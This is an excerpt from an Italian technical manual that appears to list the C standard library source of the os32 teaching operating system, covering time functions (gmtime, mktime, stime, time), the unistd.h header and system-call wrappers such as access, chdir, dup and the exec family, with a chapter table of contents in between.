4070001 #include <time.h>
4070002 //----------------------------------------------------------------------
4070003 static int leap_year (int year);
4070004 //----------------------------------------------------------------------
4070005 struct tm *
4070006 gmtime (const time_t *timer)
4070007 {
4070008     static struct tm  tms;
4070009     int               loop;
4070010     unsigned int      remainder;
4070011     unsigned int      days;
4070012     //
4070013     // Check argument.
4070014     //
4070015     if (timer == NULL)
4070016       {
4070017         return (NULL);
4070018       }
4070019     //
4070020     // Days since epoch. There are 86400 seconds per day.
4070021     // At the moment, the field 'tm_yday' will contain
4070022     // all days since epoch.
4070023     //
4070024     days      = *timer / 86400L;
4070025     remainder = *timer % 86400L;
4070026     //
4070027     // Minutes, after full days.
4070028     //
4070029     tms.tm_min = remainder / 60U;
4070030     //
```

```
4070031         // Seconds, after full minutes.
4070032         //
4070033         tms.tm_sec = remainder % 60U;
4070034         //
4070035         // Hours, after full days.
4070036         //
4070037         tms.tm_hour = tms.tm_min / 60;
4070038         //
4070039         // Minutes, after full hours.
4070040         //
4070041         tms.tm_min = tms.tm_min % 60;
4070042         //
4070043         // Find the week day. Must remove some days to align the
4070044         // calculation. So: the week days of the first week of 1970
4070045         // are not valid! After 1970-01-04 calculations are right.
4070046         //
4070047         tms.tm_wday = (days - 3) % 7;
4070048         //
4070049         // Find the year: the field 'tm_yday' will be reduced to the days
4070050         // of current year.
4070051         //
4070052         for (tms.tm_year = 1970; days > 0; tms.tm_year++)
4070053           {
4070054             if (leap_year (tms.tm_year))
4070055               {
4070056                 if (days >= 366)
4070057                   {
4070058                     days -= 366;
4070059                     continue;
4070060                   }
4070061                 else
4070062                   {
4070063                     break;
4070064                   }
4070065               }
4070066             else
4070067               {
4070068                 if (days >= 365)
4070069                   {
4070070                     days -= 365;
4070071                     continue;
4070072                   }
4070073                 else
4070074                   {
4070075                     break;
4070076                   }
4070077               }
4070078           }
4070079         //
4070080         // Day of the year.
4070081         //
4070082         tms.tm_yday = days + 1;
```

```
4070083       //
4070084       // Find the month.
4070085       //
4070086       tms.tm_mday = days + 1;
4070087       //
4070088       for (tms.tm_mon = 0, loop = 1; tms.tm_mon <= 12 && loop;)
4070089         {
4070090           tms.tm_mon++;
4070091           //
4070092           switch (tms.tm_mon)
4070093             {
4070094               case 1:
4070095               case 3:
4070096               case 5:
4070097               case 7:
4070098               case 8:
4070099               case 10:
4070100               case 12:
4070101                   if (tms.tm_mday >= 31)
4070102                     {
4070103                       tms.tm_mday -= 31;
4070104                     }
4070105                   else
4070106                     {
4070107                       loop = 0;
4070108                     }
4070109                   break;
4070110               case 4:
4070111               case 6:
4070112               case 9:
4070113               case 11:
4070114                   if (tms.tm_mday >= 30)
4070115                     {
4070116                       tms.tm_mday -= 30;
4070117                     }
4070118                   else
4070119                     {
4070120                       loop = 0;
4070121                     }
4070122                   break;
4070123               case 2:
4070124                   if (leap_year (tms.tm_year))
4070125                     {
4070126                       if (tms.tm_mday >= 29)
4070127                         {
4070128                           tms.tm_mday -= 29;
4070129                         }
4070130                       else
4070131                         {
4070132                           loop = 0;
4070133                         }
4070134                     }
```

```
4070135                 else
4070136                   {
4070137                     if (tms.tm_mday >= 28)
4070138                       {
4070139                         tms.tm_mday -= 28;
4070140                       }
4070141                     else
4070142                       {
4070143                         loop = 0;
4070144                       }
4070145                   }
4070146                 break;
4070147           }
4070148       }
4070149     //
4070150     // No check for day light saving time.
4070151     //
4070152     tms.tm_isdst = 0;
4070153     //
4070154     // Return.
4070155     //
4070156     return (&tms);
4070157 }
4070158 //----------------------------------------------------------------------
4070159 static int
4070160 leap_year (int year)
4070161 {
4070162     if ((year % 4) == 0)
4070163       {
4070164         if ((year % 100) == 0)
4070165           {
4070166             if ((year % 400) == 0)
4070167               {
4070168                 return (1);
4070169               }
4070170             else
4070171               {
4070172                 return (0);
4070173               }
4070174           }
4070175         else
4070176           {
4070177             return (1);
4070178           }
4070179       }
4070180     else
4070181       {
4070182         return (0);
4070183       }
4070184 }
```

120.20.4 lib/time/mktime.c

Si veda la sezione 113.14.

```
4080001 #include <time.h>
4080002 #include <string.h>
4080003 #include <stdio.h>
4080004 //----------------------------------------------------------------------
4080005 static int leap_year (int year);
4080006 //----------------------------------------------------------------------
4080007 time_t
4080008 mktime (const struct tm *timeptr)
4080009 {
4080010     time_t timer_total;
4080011     time_t timer_aux;
4080012     int    days;
4080013     int    month;
4080014     int    year;
4080015     //
4080016     // From seconds to days.
4080017     //
4080018     timer_total  = timeptr->tm_sec;
4080019     //
4080020     timer_aux    = timeptr->tm_min;
4080021     timer_aux   *= 60;
4080022     timer_total += timer_aux;
4080023     //
4080024     timer_aux    = timeptr->tm_hour;
4080025     timer_aux   *= (60 * 60);
4080026     timer_total += timer_aux;
4080027     //
4080028     timer_aux    = timeptr->tm_mday;
4080029     timer_aux   *= 24;
4080030     timer_aux   *= (60 * 60);
4080031     timer_total += timer_aux;
4080032     //
4080033     // Month: add the days of months.
4080034     // Will scan the months, from the first, but before the
4080035     // months of the value inside field 'tm_mon'.
4080036     //
4080037     for (month = 1, days = 0; month < timeptr->tm_mon; month++)
4080038       {
4080039         switch (month)
4080040           {
4080041             case 1:
4080042             case 3:
4080043             case 5:
4080044             case 7:
4080045             case 8:
4080046             case 10:
4080047                 //
4080048                 // There is no December, because the scan can go up to
4080049                 // the month before the value inside field 'tm_mon'.
```

```
4080050                  //
4080051                  days += 31;
4080052                  break;
4080053              case 4:
4080054              case 6:
4080055              case 9:
4080056              case 11:
4080057                  days += 30;
4080058                  break;
4080059              case 2:
4080060                  if (leap_year (timeptr->tm_year))
4080061                    {
4080062                      days += 29;
4080063                    }
4080064                  else
4080065                    {
4080066                      days += 28;
4080067                    }
4080068                  break;
4080069            }
4080070        }
4080071      //
4080072      timer_aux    = days;
4080073      timer_aux   *= 24;
4080074      timer_aux   *= (60 * 60);
4080075      timer_total += timer_aux;
4080076      //
4080077      // Year. The work is similar to the one of months: days of
4080078      // years are counted, up to the year before the one reported
4080079      // by the field 'tm_year'.
4080080      //
4080081      for (year = 1970, days = 0; year < timeptr->tm_year; year++)
4080082        {
4080083          if (leap_year (year))
4080084            {
4080085              days += 366;
4080086            }
4080087          else
4080088            {
4080089              days += 365;
4080090            }
4080091        }
4080092      //
4080093      // After all, must subtract a day from the total.
4080094      //
4080095      days--;
4080096      //
4080097      timer_aux    = days;
4080098      timer_aux   *= 24;
4080099      timer_aux   *= (60 * 60);
4080100      timer_total += timer_aux;
4080101      //
```

```
4080102     // That's all.
4080103     //
4080104     return (timer_total);
4080105 }
4080106 //----------------------------------------------------------------------
4080107 int
4080108 leap_year (int year)
4080109 {
4080110     if ((year % 4) == 0)
4080111       {
4080112         if ((year % 100) == 0)
4080113           {
4080114             if ((year % 400) == 0)
4080115               {
4080116                 return (1);
4080117               }
4080118             else
4080119               {
4080120                 return (0);
4080121               }
4080122           }
4080123         else
4080124           {
4080125             return (1);
4080126           }
4080127       }
4080128     else
4080129       {
4080130         return (0);
4080131       }
4080132 }
```

120.20.5 lib/time/stime.c

Si veda la sezione 112.49.

```
4090001 #include <time.h>
4090002 #include <sys/os32.h>
4090003 #include <errno.h>
4090004 //----------------------------------------------------------------------
4090005 int
4090006 stime (time_t *timer)
4090007 {
4090008     sysmsg_stime_t msg;
4090009     //
4090010     if (timer == NULL)
4090011       {
4090012         errset (EINVAL);
4090013         return (-1);
4090014       }
4090015     //
```

```
4090016      msg.timer = *timer;
4090017      msg.ret = 0;
4090018      sys (SYS_STIME, &msg, (sizeof msg));
4090019      return (msg.ret);
4090020  }
```

120.20.6 lib/time/time.c

Si veda la sezione 112.49.

```
4100001  #include <time.h>
4100002  #include <sys/os32.h>
4100003  //----------------------------------------------------------------------
4100004  time_t
4100005  time (time_t *timer)
4100006  {
4100007      sysmsg_time_t msg;
4100008      msg.ret = ((time_t) 0);
4100009      sys (SYS_TIME, &msg, (sizeof msg));
4100010      if (timer != NULL)
4100011        {
4100012          *timer = msg.ret;
4100013        }
4100014      return (msg.ret);
4100015  }
```

120.21 os32: «lib/unistd.h»

Si veda la sezione 116.2.

```
4110001  #ifndef _UNISTD_H
4110002  #define _UNISTD_H       1
4110003  //----------------------------------------------------------------------
4110004  #include <sys/stat.h>
4110005  #include <sys/os32.h>
4110006  #include <sys/types.h>  // size_t, ssize_t, uid_t, gid_t, off_t, pid_t
4110007  #include <inttypes.h>   // intptr_t
4110008  #include <SEEK.h>       // SEEK_CUR, SEEK_SET, SEEK_END
4110009  //----------------------------------------------------------------------
4110010  extern char **environ;  // Variable 'environ' is used by functions like
4110011                          // 'execv()' in replacement for 'envp[][]'.
4110012  //----------------------------------------------------------------------
4110013  extern char *optarg;    // Used by 'optarg()'.
4110014  extern int   optind;    //
4110015  extern int   opterr;    //
4110016  extern int   optopt;    //
4110017  //----------------------------------------------------------------------
4110018  #define STDIN_FILENO    0        //
4110019  #define STDOUT_FILENO   1        // Standard file descriptors.
```

```
4110020 #define STDERR_FILENO   2       //
4110021 //----------------------------------------------------------------------
4110022 #define R_OK            4       // Read permission.
4110023 #define W_OK            2       // Write permission.
4110024 #define X_OK            1       // Execute or traverse permission.
4110025 #define F_OK            0       // File exists.
4110026 //----------------------------------------------------------------------
4110027 
4110028 int          access      (const char *path, int mode);
4110029 int          brk         (void *address);
4110030 int          chdir       (const char *path);
4110031 int          chown       (const char *path, uid_t uid, gid_t gid);
4110032 int          close       (int fdn);
4110033 int          dup         (int fdn_old);
4110034 int          dup2        (int fdn_old, int fdn_new);
4110035 int          execl       (const char *path, char *arg, ...);
4110036 int          execle      (const char *path, char *arg, ...);
4110037 int          execlp      (const char *path, char *arg, ...);
4110038 int          execv       (const char *path, char *const argv[]);
4110039 int          execve      (const char *path, char *const argv[],
4110040                           char *const envp[]);
4110041 int          execvp      (const char *path, char *const argv[]);
4110042 void        _exit        (int status);
4110043 int          fchown      (int fdn, uid_t uid, gid_t gid);
4110044 pid_t        fork        (void);
4110045 char        *getcwd      (char *buffer, size_t size);
4110046 gid_t        getegid     (void);
4110047 uid_t        geteuid     (void);
4110048 gid_t        getgid      (void);
4110049 int          getopt      (int argc, char *const argv[],
4110050                           const char *optstring);
4110051 pid_t        getpgrp     (void);
4110052 pid_t        getppid     (void);
4110053 pid_t        getpid      (void);
4110054 uid_t        getuid      (void);
4110055 int          isatty      (int fdn);
4110056 int          link        (const char *path_old, const char *path_new);
4110057 off_t        lseek       (int fdn, off_t offset, int whence);
4110058 #define      nice(n)     (0)
4110059 int          pipe        (int pipefd[2]);
4110060 ssize_t      read        (int fdn, void *buffer, size_t count);
4110061 #define      readlink(p,b,s) ((ssize_t) -1)
4110062 int          rmdir       (const char *path);
4110063 void        *sbrk        (intptr_t increment);
4110064 int          setegid     (gid_t gid);
4110065 int          seteuid     (uid_t uid);
4110066 int          setgid      (gid_t gid);
4110067 int          setpgrp     (void);
4110068 int          setuid      (uid_t uid);
4110069 unsigned int sleep       (unsigned int s);
4110070 #define      sync()      /**/
4110071 char        *ttyname     (int fdn);
```

```
4110072 int           unlink       (const char *path);
4110073 ssize_t       write        (int fdn, const void *buffer, size_t count);
4110074 //----------------------------------------------------------------------
4110075 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584

120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658

120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705

120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787

120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823

120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.21.1 lib/unistd/_exit.c

Si veda la sezione 112.2.

```
4120001 #include <unistd.h>
4120002 #include <sys/os32.h>
4120003 //----------------------------------------------------------------------
4120004 void
4120005 _exit (int status)
4120006 {
4120007     sysmsg_exit_t msg;
4120008     //
4120009     // Only the low eight bit are returned.
4120010     //
4120011     msg.status = (status & 0xFF);
4120012     //
4120013     //
4120014     //
4120015     sys (SYS_EXIT, &msg, (sizeof msg));
4120016     //
4120017     // Should not return from system call, but if it does, loop
4120018     // forever:
4120019     //
4120020     while (1);
4120021 }
```

120.21.2 lib/unistd/access.c

Si veda la sezione 113.4.

```
4130001 #include <unistd.h>
4130002 #include <sys/stat.h>
4130003 #include <errno.h>
4130004 //----------------------------------------------------------------------
4130005 int
4130006 access (const char *path, int mode)
4130007 {
4130008     struct stat st;
```

```
4130009     int         status;
4130010     uid_t       euid;
4130011     //
4130012     status = stat (path, &st);
4130013     if (status != 0)
4130014       {
4130015         return (-1);
4130016       }
4130017     //
4130018     // File exists?
4130019     //
4130020     if (mode == F_OK)
4130021       {
4130022         return (0);
4130023       }
4130024     //
4130025     // Some access permissions are requested: get effective user id.
4130026     //
4130027     euid = geteuid ();
4130028     //
4130029     // Check owner access permissions.
4130030     //
4130031     if (st.st_uid == euid && ((st.st_mode & S_IRWXU) == (mode << 6)))
4130032       {
4130033         return (0);
4130034       }
4130035     //
4130036     // Check others access permissions.
4130037     //
4130038     if ((st.st_mode & S_IRWXO) == (mode))
4130039       {
4130040         return (0);
4130041       }
4130042     //
4130043     // Otherwise there are no access permissions.
4130044     //
4130045     errset (EACCES);                    // Permission denied.
4130046     return (-1);
4130047 }
```

120.21.3 lib/unistd/brk.c

Si veda la sezione 112.3.

```
4140001 #include <unistd.h>
4140002 #include <string.h>
4140003 #include <sys/os32.h>
4140004 #include <errno.h>
4140005 #include <limits.h>
4140006 //----------------------------------------------------------------------
4140007 int
```

```
4140008 brk (void *address)
4140009 {
4140010     sysmsg_brk_t   msg;
4140011     //
4140012     if (address == NULL)
4140013       {
4140014         errset (EINVAL);
4140015         return (-1);
4140016       }
4140017     //
4140018     msg.address = address;
4140019     //
4140020     sys (SYS_BRK, &msg, (sizeof msg));
4140021     //
4140022     errno = msg.errno;
4140023     errln = msg.errln;
4140024     strncpy (errfn, msg.errfn, PATH_MAX);
4140025     return (msg.ret);
4140026 }
```

120.21.4 lib/unistd/chdir.c

Si veda la sezione 112.4.

```
4150001 #include <unistd.h>
4150002 #include <string.h>
4150003 #include <sys/os32.h>
4150004 #include <errno.h>
4150005 #include <limits.h>
4150006 //----------------------------------------------------------------------
4150007 int
4150008 chdir (const char *path)
4150009 {
4150010     sysmsg_chdir_t msg;
4150011     //
4150012     msg.ret    = 0;
4150013     msg.errno  = 0;
4150014     //
4150015     strncpy (msg.path, path, PATH_MAX);
4150016     //
4150017     sys (SYS_CHDIR, &msg, (sizeof msg));
4150018     //
4150019     errno = msg.errno;
4150020     errln = msg.errln;
4150021     strncpy (errfn, msg.errfn, PATH_MAX);
4150022     return (msg.ret);
4150023 }
```

120.21.5 lib/unistd/chown.c

Si veda la sezione 112.6.

```
4160001 #include <unistd.h>
4160002 #include <string.h>
4160003 #include <sys/os32.h>
4160004 #include <errno.h>
4160005 #include <limits.h>
4160006 //----------------------------------------------------------------------
4160007 int
4160008 chown (const char *path, uid_t uid, gid_t gid)
4160009 {
4160010     sysmsg_chown_t msg;
4160011     //
4160012     strncpy (msg.path, path, PATH_MAX);
4160013     msg.uid = uid;
4160014     msg.gid = gid;
4160015     //
4160016     sys (SYS_CHOWN, &msg, (sizeof msg));
4160017     //
4160018     errno = msg.errno;
4160019     errln = msg.errln;
4160020     strncpy (errfn, msg.errfn, PATH_MAX);
4160021     return (msg.ret);
4160022 }
```

120.21.6 lib/unistd/close.c

Si veda la sezione 112.8.

```
4170001 #include <unistd.h>
4170002 #include <errno.h>
4170003 #include <sys/os32.h>
4170004 #include <string.h>
4170005 //----------------------------------------------------------------------
4170006 int
4170007 close (int fdn)
4170008 {
4170009     sysmsg_close_t msg;
4170010     msg.fdn = fdn;
4170011     sys (SYS_CLOSE, &msg, (sizeof msg));
4170012     errno = msg.errno;
4170013     errln = msg.errln;
4170014     strncpy (errfn, msg.errfn, PATH_MAX);
4170015     return (msg.ret);
4170016 }
```

120.21.7 lib/unistd/dup.c

Si veda la sezione 112.9.

```
4180001 #include <unistd.h>
4180002 #include <sys/os32.h>
4180003 #include <string.h>
4180004 #include <errno.h>
4180005 //----------------------------------------------------------------------
4180006 int
4180007 dup (int fdn_old)
4180008 {
4180009     sysmsg_dup_t msg;
4180010     //
4180011     msg.fdn_old = fdn_old;
4180012     //
4180013     sys (SYS_DUP, &msg, (sizeof msg));
4180014     //
4180015     errno = msg.errno;
4180016     errln = msg.errln;
4180017     strncpy (errfn, msg.errfn, PATH_MAX);
4180018     return (msg.ret);
4180019 }
```

120.21.8 lib/unistd/dup2.c

Si veda la sezione 112.9.

```
4190001 #include <unistd.h>
4190002 #include <sys/os32.h>
4190003 #include <string.h>
4190004 #include <errno.h>
4190005 //----------------------------------------------------------------------
4190006 int
4190007 dup2 (int fdn_old, int fdn_new)
4190008 {
4190009     sysmsg_dup2_t msg;
4190010     //
4190011     msg.fdn_old = fdn_old;
4190012     msg.fdn_new = fdn_new;
4190013     //
4190014     sys (SYS_DUP2, &msg, (sizeof msg));
4190015     //
4190016     errno = msg.errno;
4190017     errln = msg.errln;
4190018     strncpy (errfn, msg.errfn, PATH_MAX);
4190019     return (msg.ret);
4190020 }
```

120.21.9 lib/unistd/environ.c

Si veda la sezione 116.1.

```
4200001 #include <unistd.h>
4200002 //----------------------------------------------------------------------
4200003 char **environ;
```

120.21.10 lib/unistd/execl.c

Si veda la sezione 113.20.

```
4210001 #include <unistd.h>
4210002 //----------------------------------------------------------------------
4210003 int
4210004 execl (const char *path, char *arg, ...)
4210005 {
4210006     int   argc;
4210007     char *arg_next;
4210008     char *argv[ARG_MAX/2];
4210009     //
4210010     va_list ap;
4210011     va_start (ap, arg);
4210012     //
4210013     arg_next = arg;
4210014     //
4210015     for (argc = 0; argc < ARG_MAX/2; argc++)
4210016       {
4210017         argv[argc] = arg_next;
4210018         if (argv[argc] == NULL)
4210019           {
4210020             break;      // End of arguments.
4210021           }
4210022         arg_next = va_arg (ap, char *);
4210023       }
4210024     //
4210025     return (execve (path, argv, environ));      // [1]
4210026 }
4210027 //
4210028 // The variable 'environ' is declared as 'char **environ' and is
4210029 // included from <unistd.h>.
4210030 //
```

120.21.11 lib/unistd/execle.c

Si veda la sezione 113.20.

```
4220001 #include <unistd.h>
4220002 //----------------------------------------------------------------------
4220003 int
4220004 execle (const char *path, char *arg, ...)
4220005 {
4220006     int    argc;
4220007     char  *arg_next;
4220008     char  *argv[ARG_MAX/2];
4220009     char **envp;
4220010     //
4220011     va_list ap;
4220012     va_start (ap, arg);
4220013     //
4220014     arg_next = arg;
4220015     //
4220016     for (argc = 0; argc < ARG_MAX/2; argc++)
4220017       {
4220018         argv[argc] = arg_next;
4220019         if (argv[argc] == NULL)
4220020           {
4220021             break;      // End of arguments.
4220022           }
4220023         arg_next = va_arg (ap, char *);
4220024       }
4220025     //
4220026     envp = va_arg (ap, char **);
4220027     //
4220028     return (execve (path, argv, envp));
4220029 }
```

120.21.12 lib/unistd/execlp.c

Si veda la sezione 113.20.

```
4230001 #include <unistd.h>
4230002 #include <string.h>
4230003 #include <stdlib.h>
4230004 #include <errno.h>
4230005 #include <sys/os32.h>
4230006 //----------------------------------------------------------------------
4230007 int
4230008 execlp (const char *path, char *arg, ...)
4230009 {
4230010     int   argc;
4230011     char *arg_next;
4230012     char *argv[ARG_MAX/2];
4230013     char  command[PATH_MAX];
```

```
4230014     int   status;
4230015     //
4230016     va_list ap;
4230017     va_start (ap, arg);
4230018     //
4230019     arg_next = arg;
4230020     //
4230021     for (argc = 0; argc < ARG_MAX/2; argc++)
4230022       {
4230023         argv[argc] = arg_next;
4230024         if (argv[argc] == NULL)
4230025           {
4230026             break;      // End of arguments.
4230027           }
4230028         arg_next = va_arg (ap, char *);
4230029       }
4230030     //
4230031     // Get a full command path if necessary.
4230032     //
4230033     status = namep (path, command, (size_t) PATH_MAX);
4230034     if (status != 0)
4230035       {
4230036         //
4230037         // Variable 'errno' is already set by 'commandp()'.
4230038         //
4230039         return (-1);
4230040       }
4230041     //
4230042     // Return calling 'execve()'
4230043     //
4230044     return (execve (command, argv, environ));   // [1]
4230045 }
4230046 //
4230047 // The variable 'environ' is declared as 'char **environ' and is
4230048 // included from <unistd.h>.
4230049 //
```

120.21.13 lib/unistd/execv.c

Si veda la sezione 113.20.

```
4240001 #include <unistd.h>
